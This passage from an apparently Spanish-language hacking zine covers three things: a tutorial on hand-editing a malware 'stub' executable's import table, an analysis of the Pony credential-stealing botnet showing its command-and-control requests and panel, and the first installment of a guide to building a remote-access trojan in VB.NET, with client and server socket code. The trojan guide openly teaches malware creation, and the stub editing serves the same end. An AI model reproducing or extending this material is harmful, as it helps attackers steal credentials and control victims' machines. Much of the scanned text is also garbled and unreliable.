0000177C0 86 37 77 A4 F9 2C 1F C7 0A 00 02 00 02 00 02 00 02 00 94 17 40 00 0000177B 00 00 00 00 00 00 00 00 00 00 00 00 64 18 40 00 09 04 00 00 000017F2 9C 19 40 00 00 00 00 00 00 00 00 8C 14 40 00 FF FF FF FF 3 Subses mpare Results ype Source (5) Count (5) C	000017AC	FF	FF	FF	FF	00	00	00	00	60	70	40	00	CE	C4	AA	74	CA	00	61	45	`p@taE		time04_t	0.00.00 01/01/19/0	)
000017E 00 00 00 00 00 00 00 00 00 00 00 00 00	00001700	86	37	77	A4	F9	2 C	1 F	C7	0 A	00	02	00	02	00	02	00	F4	17	40	00	.7w,@.		binary	000000000000000000000000000000000000000	b
0000177E 0A 10 00 00 00 00 00 00 00 00 00 00 00 00	000017D4	00	00	00	00	00	0.0	00	00	00	00	00	00	64	18	40	00	09	04	00	00	d.@				
00001/FC 9C 19 40 00 00 00 10 70 40 00 00 00 00 00 00 00 00 54 18 40 00€	000017E8	0A	10	00	00	00	00	00	00	02	00	00	00	8C	14	40	00	FF	FF	FF	FF					
Image: Stubie are       All I Image: Stubie are         Image: Results       All Image: Stubie are         ype       Source IS       Count IS       Target IS         Counter IS       Count IS       Count IS       Count IS         Counter IS       Count IS       Count IS       Count IS	000017FC	90	19	40	00		00		0.0	10	70	40	00		00		00	54	18	40	00		-			
All         All <td>Stub.exe</td> <td></td>	Stub.exe																									
ype Source (5) Count (5) Count (5) Target (5) Count (5)	ompare Result	s																						All	- 🛍 2 X	
ge ante p com p c	une .			Sourc	o 16				Cou	unt 10				0	unt	16				Target	16	Count 10	(	Count 16		
월 Compare K Checksum   월 Find   @ Bookmarks   월 Output   =	/			200.0	- 0/									-		1				. orge	. Ur	count Dr				-
월 Cômpare ] 🕷 Checksum   前 Find   🛷 Bookmarks   臣) Output   =	10 APR		0.0		-			<b>b</b>																		-
	Compare	:hecksu	um   📲	Find	S 🔿 Bo	ookmar	ks 🛛 🗓	Outp	ut																	_
Current 00001648 Strett 00001648 35554 huter OVP MOD READ																						Curror: 00001648 Caret: 00001648	٦.	6864 buter	OVR MOD REAL	0

Bien, una vez que ya sabemos la ubicación exacta en donde peguemos la librería, abrimos nuestro CFF Explorer

En este caso elegimos la librería **\_\_vbaVarMove**, la copiamos.

				Deshacer
				Cortar
				Copiar
				Pegar
				Eliminar
				Seleccionar todo
OFTs	FTs (IAT)	Hint	Name	
000060B4	00001008	00006216	00006218	Lectura de derecha a izquierda
Dword	Dword	Word	szAnsi	Insertar carácter de control Unicode
000061FE	72A39386	0000	_CIcos	
00006208	72A309F9	0000	_adj_fptan	Abrir IME Peropyerrién
00006216	72A46AEE	0000	_vbaVarMc.	Reconversion
00006226	72A0C0F6	0000	_vbaStrAryTo	Unicode
0000623E	72A4728D	0000	_vbaVarVarg	Nofree
00006254	72A46831	0000	_vbaFreeVar	
00006264	72A0C244	0000	_vbaAryMov	e
00006274	72A0C0E0	0000	_vbaStrAryTo	Ansi
00006288	72A26A0P	0000	what on Pete	

Finalmente, reemplazamos el 6216 por la nueva ubicación 19A8.

## Malware Magazine

OFTs	FTs (IAT)	Hint	Name
000060B4	00001008	000016A8	000016AA
Dword	Dword	Word	szAnsi
000061FE	72A39386	0000	_CIcos
00006208	72A309F9	0000	_adj_fptan
000016A8	72A46AEE	0000	_vbaVarMove
00006226	72A0C0F6	0000	vbaStrAryToUnicode
0000623E	72A4728D	0000	_vbaVarVargNofree
00006254	72A46831	0000	vbaFreeVar
00006264	72A0C244	0000	_vbaAryMove
00006274	72A0C0E0	0000	_vbaStrAryToAnsi
00006200	72A26A0P	0000	what on Pete

#### Recuerden: File, Save/ Save As.

File	Settings ?					
ø	Open	Stub.exe				
	Close	Module Name	Imports	OFTs	TimeDateStamp	ForwarderCl
	Close All	000061F0	N/A	00006084	00006088	0000608C
₿	Save	szAnsi	(nFunctio	ns) Dword	Dword	Dword
	Save As	MSVBVM60.DLL	80	000060AC	FFFFFFF	FFFFFFF
	Load CFF Explorer Script					
	Exit					
	Address Converter     Address Converter     Dependency Walker     Hex Editor     Identifier     Identifier     Quick Disassembler     Rebuilder					
	- 🐁 Resource Editor	OFTs	FTs (IAT)	Hint	Name	
	W OT X Othicy	000060B4	00001008	000019A8	000019AA	
		Dword	Dword	Word	szAnsi	
		000061FE	72A39386	0000	_CIcos	
		00006208	72A309F9	0000	_adj_fptan	
		000019A8	72A46AEE	0002	_vbaVarMove	

Veamos como quedó la librería en Hex con su nueva ubicación:

1 🛍 🛍 🛍 🕺	1. 3	♣ (	) <b>bil</b>	4		Lega	cy ASC			•	141	4.1	M										
	0	1	2	3	4	5	6	7	8	9	A	B	C	D	F	F	10	11	12	13	0123456789ABCDFF0123	Data Inspector	φ,
00001650	2.5	0.0	7.6	0.0	62	0.0	7.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	when a	Data at offset 0x00000	)00:
00001650	0.0	0.0	0.0	00	00	00	00	0.0	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	00	0.0	0.0		int8 77	
00001680	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0		uint8 77	1
00001600	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0		int16 23117	
00001638	0.0	0.0	58	5 8	76	62	61	56	61	72	4 D	61	76	65	0.0	0.0	0.0	00	0.0	0.0	whaWarMove	uint16 23117	
000016BC	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		int32 9460301	
00001600	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		uint32 9460301	H
0001654	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		int64 12894362189	
00016E8	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		uint64 12894362189	
00001700	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		half float 201.625	
00001720	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		float 1.3256705e-038	
00001734	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		double 6.3706614e-314	
0001748	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		DATE <invalid></invalid>	
0001750	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		DOS date 13/02/2025	
0001770	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		DOS time 11-18-26	-
0001784	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0		Expression Calc	<b>д</b> )
0001798	30	14	40	0.0	0.4	0.0	0.0	0.0	0.0	0.0	0.0	0.0	70	70	40	0.0	50	1E	40	0.0	. D. T. Dag D. 0	Signed v 32	hit 🔻
00017AC	FF	FF	FF	FF	0.0	0.0	0.0	0.0	60	70	40	0.0	CE	C4	AA	74	CA	00	61	4.5			
0001700	8.6	37	77	A 4	F9	2 C	1 F	C7	0A	0.0	0.2	0.0	0.2	0.0	0.2	0.0	F4	17	40	0.0	.7w		
0001704	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	64	18	40	0.0	0.9	0.4	0.0	0.0	d.@		
00017E8	0 A	10	0.0	0.0	0.0	0.0	0.0	0.0	0.2	0.0	0.0	0.0	8 C	14	4.0	0.0	ŦТ	FF	FF	FF			
00017FC	9 C	19	40	0.0	0.0	00	0.0	00	10	70	40	0.0	0.0	0.0	0.0	0.0	54	18	40	00			
Stub.exe																						Eval	
																							2 X
mpare Result	S																						

Conclusión de cierre: *Moddear* un binario, bajo el auxilio de las herramientas referidas, no resulta un procedimiento complejo y puede sernos de gran utilidad. Confiamos que el artículo que os dejamos les resulte ameno y comprensible para los que se inician en esta área.

# Análisis de Malwares

9

Autor: Blackdrake

## III. ANÁLISIS DE MALWARES

Nuevamente bienvenidos al capítulo de análisis de malware. En esta oportunidad vamos a realizar una tarea sencilla; nuestro trabajo consistirá en averiguar hacia donde apunta (o que pretende) el fichero malicioso.

Consideramos como punto de partida el archivo que aparece en la siguiente imagen; con la idea -como señalábamos antes- de ejecutarlo y con el objetivo de saber a dónde apunta.



## 1. FICHEROS MALICIOSOS Y WIRESHARK

Antes de proceder a ejecutar el archivo infectado, vamos a iniciar **Wireshark** en nuestra máquina virtual (siempre se aconseja ejecutar malware en entornos controlados), para no perder detalle de las conexiones que realiza mientras se ejecuta:

Capturing from Conexión de área local [Wires	hark 1.10.3 (SVN Rev 5302	22 from /trunk-	-1.10)]	
<u>File Edit View Go Capture Analyze Stat</u>	istics Telephony <u>T</u> ools	s Internals I	Help	
● ● <b>▲ ■ </b>	l 🗢 🗢 🚭 🕇 🕹		0.0.0.1	
Filter:		<ul> <li>Expres</li> </ul>	SCB6 Evaluation Edition	
No. Time Source	Destination	Proto		
598 25.3925360 10.0.2.15	192.249.113.41	L TCP	BCB6 Evaluation Edition dejó de funcionar	
599 25.3927530 192.249.113.41	10.0.2.15	TCP	1920	
600 25.3927570 192.249.113.41	10.0.2.15	TCP	Windows puede buscar una solución en línea al problema.	
601 25.3927610 192.249.113.41	10.0.2.15	TCP		
602 25.3927640 192.249.113.41	10.0.2.15	TCP	Buscar una solución en línea y cerrar el programa	
603 25.3927670 192.249.113.41	10.0.2.15	TCP	busear una solucion en inica y certar el programa	
604 25.3927920 10.0.2.15	192.249.113.41	L TCP		
605 25.3944140 192.249.113.41	10.0.2.15	TCP	Cerrar el programa	
606 25.3944180 192.249.113.41	10.0.2.15	TCP		
607 25.3944390 10.0.2.15	192.249.113.41	L TCP		
608 25.3958690 192.249.113.41	10.0.2.15	TCP	Ver detalles del problema	
609 25.39/3990 192.249.113.41	10.0.2.15	TCP		
610 25.39/4030 192.249.113.41	10.0.2.15	TCP	14/4 [ICP segment of a reassembled PDU]	
611 25.3974090 192.249.113.41	10.0.2.15	HTTP	788 HTTP/1.1 200 OK (apprication/x-msdownload)	
612 25.39/4350 10.0.2.15	192.249.113.41	L ICP	54 51410 > http://crail.com.103.ack.25551.win=64240.Len=	
614 25 2075000 102 240 112 41	10.0.2.15	TCP	60 http > 51410 [FIN, ACK] Seq=192 ACK=55551 WHH=04240	
615 25 2076250 10 0 2 15	192 249 112 41	TCP	54 51410 > 51410 [PIN, ACK] Seq=55551 ACK=152 WHI-65555	
616 25 3070380 102 240 113 41	10 0 2 15	тср	60 [TCP_Out_of_order] http > 51410 [ETN_ACK] Seq=3555	Ack-103 Win-65535 Len-0
617 27 7479790 fe80::d09d:cd4:3	2ehff02::c	SSDP	208 M-SEARCH * HTTP/1 1	
618 27, 7526650 10, 0, 2, 15	192.249.113.41	TCP	66 51411 > http [SYN] Sed=0 win=8192 Len=0 MSS=1460 WS	256 SACK PERM=1
619 27, 9661550 192, 249, 113, 41	10.0.2.15	TCP	60 http > 51411 [SYN, ACK] Seg=0 Ack=1 Win=65535 Len=0	MSS=1460
620 27,9662220 10,0,2,15	192,249,113,41	L TCP	54 51411 > http [ACK] seg=1 Ack=1 win=64240 Len=0	
621 27.9663240 10.0.2.15	192.249.113.41	L нттр	245 GET /Panel/Pony.exe HTTP/1.0	
622 27.9664110 192.249.113.41	10.0.2.15	TCP	60 http > 51411 [ACK] Seg=1 Ack=192 Win=65535 Len=0	
623 28.1828280 192.249.113.41	10.0.2.15	TCP	1474 [TCP segment of a reassembled PDU]	
624 28.1828330 192.249.113.41	10.0.2.15	TCP	86 [TCP segment of a reassembled PDU]	
625 28.1828910 10.0.2.15	192.249.113.41	L TCP	54 51411 > http [ACK] Seq=192 Ack=1453 Win=62788 Len=0	
626 28.1841280 192.249.113.41	10.0.2.15	TCP	1474 [TCP segment of a reassembled PDU]	
627 28.1841310 192.249.113.41	10.0.2.15	TCP	86 [TCP segment of a reassembled PDU]	N. Contraction of the second se
628 28.1841510 10.0.2.15	192.249.113.41	і тср	54 51411 > http [ACK] Seq=192 Ack=2905 Win=64240 Len=0	
629 28.1856190 192.249.113.41	10.0.2.15	TCP	1474 [TCP segment of a reassembled PDU]	
630 28.1856240 192.249.113.41	10.0.2.15	TCP	86 ITCP seament of a reassembled PDUI	
■ Frame 620: 54 bytes on wire (432)	2 bits), 54 bytes	captured	(432 bits) on interface 0	
Ethernet II, Src: CadmusCo_80:08	8:5c (08:00:27:80:	:08:5c), D	st: RealtekU_12:35:02 (52:54:00:12:35:02)	
Internet Protocol Versión 4, Sro	: 10.0.2.15 (10.0	J.2.15), D	st: 192.249.113.41 (192.249.113.41)	
Inansmission control protocol, s	arc Port: 51411 (5	51411), DS	t Port: http (80), Seq: 1, ACK: 1, Len: 0	
× U				
000 52 54 00 12 35 02 08 00 27 010 00 28 24 56 40 00 80 06 00	80 08 5c 08 00 45 00 0a 00 02 0f c0	5 00 RT.	.5 '\E. V@	

## 

🝺 💕 Conexión de área local: <live capture in prog... 🏾 Packets: 949 - Displayed: 949 (100.0%)

Como vemos, **Wireshark** nos dio distintas datos al ejecutarlo; vamos a revisarlo en busca de información interesante, entre todas ellas, podemos ver una que destaca sobre el resto:

#### 621 27.966324010.0.2.15 192.249.113.41 HTTP 245 GET /Panel/Pony.exe HTTP/1.0

Buscaremos todas las conexiones que se realizan hasta esa dirección IP, entre todas ellas, encontramos éstas:

Como podemos ver en la siguiente imagen, se envían datos de nuestra máquina hacía un archivo **php** alojado en una web, vamos a ver dónde:



Precisamente, en este momento, Windows lanza un aviso de que el archivo hacía más de lo que nosotros pensábamos, pues estaba creando varios archivos temporales...



Pero continuemos con nuestro trabajo: encontrar la página web. En Wireshark obtuvimos lo siguiente:

,	
🗉 Hypertext Transfer Protocol	
🗄 POST /Panel/gate.php HTTP/1.0\r\n	
Host: login.ministryofvapes.com\r\n	
Accept: */*\r\n	
Accept-Encoding: identity, *;q=0\r\n	
□ Content-Length: 2745\r\n	
[Content ]ength: 2745]	
Connection: close\r\n	
Content-Type: application/octet-stream\r\n	
Content-Encoding: $binary\r\n$	
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n	
\r\n	
[Full request URI: http://login.ministryofyapes.com/Panel/gate.php]	
[HTTP request 1/1]	
[Response in frame: 642]	
∃ Content-encoded entity body (binary): 2745 bytes [Error: Decompression failed]	

Ya localizamos la página web, que por el archivo llamado gate.php se puede pensar que es una BotNet.

## 2. LA INFORMACIÓN DE CUCKOO

Vamos a subirlo a **Cuckoo** (cuya instalación vimos en la entrega pasada) o bien, usamos el servicio que nos ofrece **malwr.com**:

Signatures
File has been identified by at least one AntiVirus on VirusTotal as malicious
Performs some HTTP requests
The binary likely contains encrypted or compressed data.
section: (u'size_of_data': u'0x00008400'; u'virtual_address': u'0x00012000'; u'entropy': 7.891206827557479, u'name': u'UPX11, u'virtual_size': u'0x00009000')
The executable is compressed using UPX
section: (u/size_of_data': u/0x00000000', u/virtual_address': u/0x00001000', u/virtual_address': u/0x0001000',
Steals private information from local Internet browsers
process_kd: 1316
process_name: Pony.exe file: C:Documents and Settings/User/Local Settings/History/History/History/LeS/Index.dat
Contacts C&C server HTTP check-in (Banking Trojan)
urt: (u'body': u'', u'un': u'http://login.ministryolvapes.com/Paneligate.php', u'user-agent': u'hozilla/4.0 (compatible; MSIE 5.0; Windows 98); u'pont': 80, u'host': u'login.ministryolvapes.com', u'version': u'1.0'; u'path': u'/Paneligate.php', u'data': u'POST /Paneligate.php HTTP/1.0/unhtost: login.ministryolvapes.com/inAccept: '/'u'nAccept: Charles, i dentity, 'tq=0'unContent-Length: 275'unConnection: close'unContent-Type: application/octet-stream'unContent-Encoding: binary/unUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)/unity, u'mathod': UPOST]
Harvests credentials from local FTP client softwares
TIIE: C:Documents and Settings/User/Application Data/GlobalSCAPE/CuteFTPism.dat
Installs itself for autorun at Windows startup



Como vemos, en el mensaje, **Cuckoo** nos dice que el malware roba información local de los navegadores, además, de que puede ser un troyano bancario; (cuyo nombre de proceso es **Pony.exe**).

En consecuencia, nos pusimos a investigar sobre ese archivo (cuyo objetivo era encontrar más archivos como éste), pues queríamos saber de que BotNet se trataba, y la suerte nos acompañó, porque lo encontramos:



Lo subimos directamente a Cuckoo, pues también nos da información sobre los host a los que conecta.

Hosts	[	Domains	
lb		DOMAIN	lb
87.237.198.245		www.google.com	74.125.239.113
74.125.239.113			
5.45.179.157			

No conectaba al mismo dominio que el anterior archivo, pero podía ser -básicamente- porque no había sido creado por la misma persona... fuimos a revisar los mensajes que nos proporcionaba para ver si tenía algo que ver con el otro:



## 3. LA BOTNET PONY

Más o menos su función era la misma pero este parecía mucho más peligroso... por lo que nos pusimos a investigar sobre **Pony**, y esta es la información que obtuvimos:

Pony, es una BotNet que tiene el siguiente aspecto:



Главная | Список FTP | Список HTTP | Другие | Статистика | Домены | Логи | Отчеты | Управление | Помощь | Выход

## Página Principal:

Главная Список	FTP Список HTTP	Другие Статистика	Домены Логи	Отчеты Упра	вление Помо	ощь Выхо	A Pony 1
🌗 Добавлено па	аролей за последі	ние 24 часа					
2.5k 2.0k 0.10k 0.0k	5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5	05 06 07 08 09 12	ата 11 12 13 14 т асы	5 16 17 18	3 19 20 21 ■ FFF ■ REPORT	22 5 HTTP	
Тоследние вход	ды в систему						
Логин I	(P	Страна		Вр	емя входа		
Asserunt	Last Login (P	Flag & Country			DataMour		
Статистика							
время сервера				201	2-06-		
Beero FTP/SFTP B	списке						
Beero HTTP/HTTPS	в списке			0			
Всего сертификат	ов в списке						
Полицоно пиблика							
На обработано от	1000						
Событий в систем	HUX BOCAY						
Полный размер от	четов в БЛ				MB		
Deeuwä eeewee El	10100 0 0/4			-			
полный размер о/	1				MB		
Лобавлено FTP (Н	1 TTP) за последние	24 yaca		_	MB		
Добавлено FTP (Н Добавлено FTP (Н	] TTP) за последние TTP) за последний	= 24 часа i час		0 (0	мв L)		
Добавлено FTP (Н Добавлено FTP (Н Добавлено FTP (Н	ц TTP) за последний TTP) за последний TTP) за последние	е 24 часа і час ∋ 10 минут		0 (0	MB L) )		
Добавлено FTP (Н Добавлено FTP (Н Добавлено FTP (Н Добавлено FTP (Н Добавлено отчето	1 TTP) за последний TTP) за последний TTP) за последние в за последние 24	в 24 часа 1 час 9 10 минут 1 часа		0 (0 0 (0	MB L) )		
Добавлено FTP (H Добавлено FTP (H Добавлено FTP (H Добавлено FTP (H Добавлено отчето Добавлено отчето	1 TTP) за последний TTP) за последний TTP) за последние в за последние 24 в за последний ча	в 24 часа 4 час ≥ 10 минут 4 часа кс		0 (0 0 (0 0	мв L) )		

Главная | Список FTP | Список HTTP | Другие | Статистика | Домены | Логи | Отчеты | Управление | Помощь | Выход

#### Log de FTP

Thannan Checke FTP Charlin HTTP (Spyner C	Статистика Донатина	Bone Onvensi	Управление	- Roseniga-	Borrat	30 Pere L
CEANATE CONCOS ETP (International) CEANATE CONCOS SSH (SETP) (International) CANCENTE CONCOR ETP CONCENTE CONCOR ESP CONCENTE CONCOR SSH (SETP) CONCENTE CONCOR SSH (SETP)						
оследние поступления FTP						
URL		FTF RINCHT		Der	оми добавл	ICOM.
		Fielfe		2013	2-06	
		Prezes		3013	2-06-	
		Piezia		2013	2-06-	
		Fieldn		2013	2-06	
the spectra contract the property of the second sec		FieZila		2013	2+06	
<ul> <li>Special constraints and an experimental second secon</li></ul>		FileZ#a		2013	2-06	
by the approximation of the second second		Priezila		301	2.00	
to specify the design of the second of		Piežila		2013	2-06	
		Piezda		2013	2-06	10.00
to find the participant of the second second second		TieZita		2013	2-06	

## Log de HTTP:

Tannas Dana I'm Consentin Agene Denamic Agenes Consents concertific ( antenal) Consents concertific Placeatic concertific	Anu Direta Vigalemen	tenno tenno 🎲 teny t
Последние поступления НТТР		
def.	TTTT KINGST	shore Universities
	Course Christe	2012-04
	() Cours	2012-06
AND	() Come	2812-06
Lastrembistals gattarent.	() Opens	2012-06
the order provide particular to particular	() Como	2512-00
The Property of the Array of th	() Opera	1012-06
	() Come	2912-09
	D Opens	2812-05
	() Como	2812-06

#### Estadísticas:

Transm Crecovity Crecovitity Spyres Co	Roberts Roberts Rore On	erte Viçasteven Rincus Barop	30
D Oference			-
D Antonious reported to too manue 24 mars	_		
	e de the the the the the	· 前 作 · 10 方 方 方 方 E vit Satura & H vit	
Побланново паралной за последний косова.			
30 30 30 30 30 30 30 30 30 30 30 30 30 3	54	A	
Поцировсь инфрартених селон			
season and such			
	-		
		CART BEE	
	80+	100	
		ALL DISCOUNTS AND ADDRESS OF ADDR	
	-	A PL TON AND AND AND AND AND AND AND AND AND AN	
		And a contract of the contract	
	-		
entreprise	2		
enter reserve	-	Andrew Charles	
registration	81	Contraction of Contraction	
University (University)	4	Contract of the Contract of th	
enter reset (anter reset represent reset	4	Alternative         Alternative           Control of Language         Sector           Control of Language         (0.5.2%)           Control of Language         (0.5.2%)	
enter reserve representation Projecto Projecto Construit Very Projecto Very	4	Non-         Non-           Contract Tage Contract         Non-           Contre	
Anne France (Arrows Harrison) Providence (Arrows Harrison) Provi	4	Control of Control      Control of Control      Control of Control      Contro      Control      Contro      Control      Control      Control	
International (Internation)	4	Control of Contro	
entre rate (and an and a construction) représentements Practice	4	Control of Contro	
enter rate (1990) enter rate (1990) enter	4	Control of Control      Control of Control      Control of Control      Contro      Control      Contro      Control      Control      Control	
International (International (International)) International (International) International (	4	Control of Contro	
entre rate (Internet) représentement Practice Practic	-4	Control of Contro	
	-4	Contraction (C. 2014)     Contraction (	
even rate (	-	Contract of the second se	
	-	Control of Contro	
verse rate (Verse) representations for the execution representation of the execution of the execution of the execution representation of the execution	-		
environmentaria enviro	-	Control of Contro	
International Control of Control			
even rate (even reteried)	-	Control of Contro	
		Control of Contro of Control of Control of Control of Control of Control of Control	
enter rate (EXTRA LETE)  représente * TP exempte  représente * TP exempte  représente * TP exempte  représente tapler  représente  représe		Control of Contro of Control of Control of Control of Control of Control of Control	
even reser reservement reserve reser		Control of Contro	
		Control of Contro of Control of Control of Control of Control of Control of Control	
	ъция Волжения селения	Control of Contro	
	Sources and concerns	Control of Control     Control of Control     Control of Control     Control of Control     Contr	
	Маниетеки (25.15%) (25.15%) (25.15%) (25.15%)	Control of Contro	
	0(24.15%) 0 (24.15%) 0 (24.15%) 0 (24.15%)		
	Suscences and and a second sec	Control of Contro	
	Source: 100 coupled (25 10%) (25 10%) (4 10%) (4 10%) (4 10%) (4 10%)	Control of Contro	
	Source: 100 conceptor (25.12%) (25	Control of Contro	
	Constant and a constant     Constant	Control of Contro	
	C2-10%		

#### Pony es capaz de robar información de más de 60 programas:

- 1. SystemInfo
- 2. FAR Manager
- 3. Total Commander
- 4. WS\_FTP
- 5. CuteFTP
- 6. FlashFXP
- 7. FileZilla
- 8. FTP Commander
- 9. BulletProof FTP
- 10. SmartFTP
- 11. TurboFTP
- 12. FFFTP

Pueden ver la lista completa y más sobre este análisis en:

http://zerosecurity.org/2012/06/a-look-at-pony-1-7-http-botnet

Para cerrar esta breve guía, recordarles que en el análisis de malware es conveniente realizarlo no solo en entornos controlados, sino que debemos irlo ensayando o probando de manera gradual y atenta al universo cambiante que éste implica. En futuras entregas iremos viendo análisis más complejos conjuntamente con el uso de otras herramientas.

## Crear un troyano paso a paso

**G** 

Autor: 79137913

+

## IV. CREAR UN TROYANO PASO A PASO

Entrega tras entrega iremos compartiendo fragmentos de códigos para que vayas armando tu propio troyano, paso a paso, desde cero en VB.NET.

En esta primer parte, comenzaremos con la creación del cliente y el servidor y la conexión entre ambos.

Como prerrequisito es necesario tener instalado Visual Studio en nuestra PC. Una vez que lo tengamos lo abrimos y creamos la siguiente solución y dos proyectos. Deberíamos tener la siguiente estructura:



## 1. <u>CLIENTE</u>

Creamos el formulario del tamaño que deseemos y luego arrastramos el componente *ListView* hasta él. Deberíamos tener lo siguiente:

Cuadro de herramientas	▼₽×	Principal.vb [Diseño]* 🕫 🗙	-
lis	× -		
<ul> <li>Todos los formularios Windows Forms</li> </ul>		👷 Underc0de RAT [Magazine]	
E CheckedListBox		Company Compan	
🐼 ImageList		Remoto	
E= ListBox			
ListView			
		ф (	
		d	



Acto seguido, hacemos click en el *ListView* que hemos agregado y en vista colocamos "*Details*" para que luego nos muestre los detalles de los remotos que se conecten a nuestro cliente:

Principal.vb [Diseño]* 🕫 🗙		
🔛 Undercode RAT [Magazine]	×	
	Tareas de ListViev	v
Remoto	Editar elementos	
	Editar columnas	
	Editar grupos	
	Vista:	Details
	ImageList pequeña:	(ninguno)
	ImageList grande:	(ninguno)
	Acoplar en contenedo	or primario
0		,

Ahora, debemos agregar cuatro columnas y debería quedar como en la siguiente imagen, para el resto de las columnas colocar en Text lo siguiente: "PCName"; "OsVersion"; "IP" que son los datos que nos saldrán cuando alguien se conecte.

Editor de la colección ColumnHeade	er					<u>?</u> ×
Miembros:	ļ	Prop	piedades de Colum	nHea	der 1:	
0 ColumnHeader1	+		₽ <b>↓</b> <i>№</i>			
2 ColumnHeader3	Ŧ		Comportamient	ю		<b>_</b>
3 ColumnHeader4	<u> </u>	1	DisplayIndex	0		
		Ð	Datos			
		Ŧ	(ApplicationSetting			
			Tag			
		Ξ	Diseño			
			(Name)	Colu	ımnHeader1	
			GenerateMember	True		
			Modifiers	Frie	nd	
		Ξ	Varios			
		1	ImageIndex		(ninguno)	
		1	ImageKey		(ninguno)	
Agregar Quitar			Text	Ren	noto	_
			ToxtAlion	1.44		
			Acep	otar	Cancela	ar
						_///

El listview debería quedar de la siguiente forma (los anchos de columna los editan ustedes a gusto, y si quieren que se vean las líneas grises deben poner en las propiedades del listviewGridLines=True).

Underc0de RAT [Magazine]			↔ _□
Remoto	PCName	OsVersion	IP

El cliente debe tener el siguiente código; (cada línea está explicada como comentario en verde).

- 1. ImportsSystem.Threading'esto es el import de Threading que se usa para que la aplicacion funcione de forma multihilo y no se congele
- 2. ImportsSystem.Net.Sockets'este es el import de Sockets, son nuestra herramienta de comunicacion
- 3.
- 4. PublicClassPrincipal
- 5. PrivateServerSocketAsTcpListener'Declaramos el Socket
- 6. DimDataSocketAsSocket'Declaramos el socket
- 7. DimHiloEscuchaAsNewThread(AddressOf Escuchar) 'Se declara un Hilo alternativo para que no se nos congele el programa.
- 8. PrivateSubPrincipal\_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load
- 9. HiloEscucha.Start() 'iniciamos el hilo
- 10. EndSub
- 11. PrivateSubEscuchar()
- 12. ServerSocket = NewTcpListener(Net.IPAddress.Any, 7913) 'Creamos el socket a la escucha (usamos el puerto 7913)
- 13. ServerSocket.Start(10) 'Iniciamos el socket con un limite de conecciones pendientes de 10
- 14. DimMensaje() AsString' en este vector guardaremos los datos que nos envian
- 15. Do'creamos un bucle para que se ejecute infinitas veces
- 16. IfServerSocket.Pending = TrueThen'Si hay conexiones pendientes
- 17. DataSocket = ServerSocket.AcceptSocket() 'Tomamos la conexión en nuestro nuevo socket DataSocket
- 18. DimvDatos(255) AsByte'Creamos un vector que sera nuestro buffer de entrada
- 19. DataSocket.Receive(vDatos) 'Recibimos los datos. Límite de buffer: 256
- 20. Mensaje = <u>Split</u>(System.Text.Encoding.BigEndianUnicode.GetString(vDatos), "|") 'Guardamos en mensaje lo que el server nos envio y lo dividimos por el separador "|"
- 21. DimLV\_ItemAsListViewItem = LV.Items.Add(Mensaje(1)) 'Creamos un nuevo item en el listview
- 22. LV\_Item.SubItems.Add(Mensaje(2)) ' agregamos mas datos del mensaje
- 23. LV\_Item.SubItems.Add(Mensaje(3)) ' agregamos mas datos del mensaje
- 24. LV\_Item.SubItems.Add(DataSocket.RemoteEndPoint.ToString) 'agregamos el ip del remoto
- 25. Endlf
- 26. **Loop**
- 27. EndSub
- 28. PrivateSubPrincipal\_FormClosing(senderAsObject, e AsFormClosingEventArgs) HandlesMe.FormClosing
- 29. **Try**
- 30. If DataSocket.ConnectedThen'si el socket sigue conectado...
- 31. DataSocket.Disconnect(False) 'Desconectamos el remoto

#### Malware Magazine

N° 2

- 32. DataSocket.<u>Close()</u> 'Cerramos el socket
- 33. EndIf
- 34. Finally
- 35. HiloEscucha.Abort() 'cortamos el hilo
- 36. End
- 37. EndTry
- 38. EndSub
- 39. EndClass

## 2. <u>SERVIDOR</u>

Ahora, en el proyecto del servidor, solamente crearemos el formulario y le agregaremos el siguiente código:

- 1. ImportsSystem.Net.Sockets
- 2. PublicClassServer
- 3. DimoSocketAsSocket
- 4. PrivateSubServer\_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load
- 5. **Try**
- oSocket = NewSocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 'Creamos el socket
